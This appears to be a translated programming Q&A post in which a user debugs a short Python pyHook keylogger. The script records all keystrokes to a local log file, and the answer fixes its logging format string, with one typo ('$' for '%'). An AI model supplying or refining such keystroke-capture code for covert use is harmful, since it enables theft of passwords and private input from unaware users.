Python ValueError:格式不完整

时间:2017-05-11 20:28:36

标签: python python-2.7 keylogger

我在youtube上关注了一个非常有缺陷的教程,但这是我能找到的最好的。我安装了pywin32和pyhook,它们都已安装,所以我不知道它可能是什么。

   import pyHook, pythoncom, sys, logging

file_log = 'C:\Users\Nathan\Fun Stuff\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:2)

"格式"是指"%(message)"不完整,应该是"%(message)s"s表示" str转换类型" (请参阅docs) - 邮件通过str内置。

"$(message)s"恰好是默认的,我想你可以省略这个论点。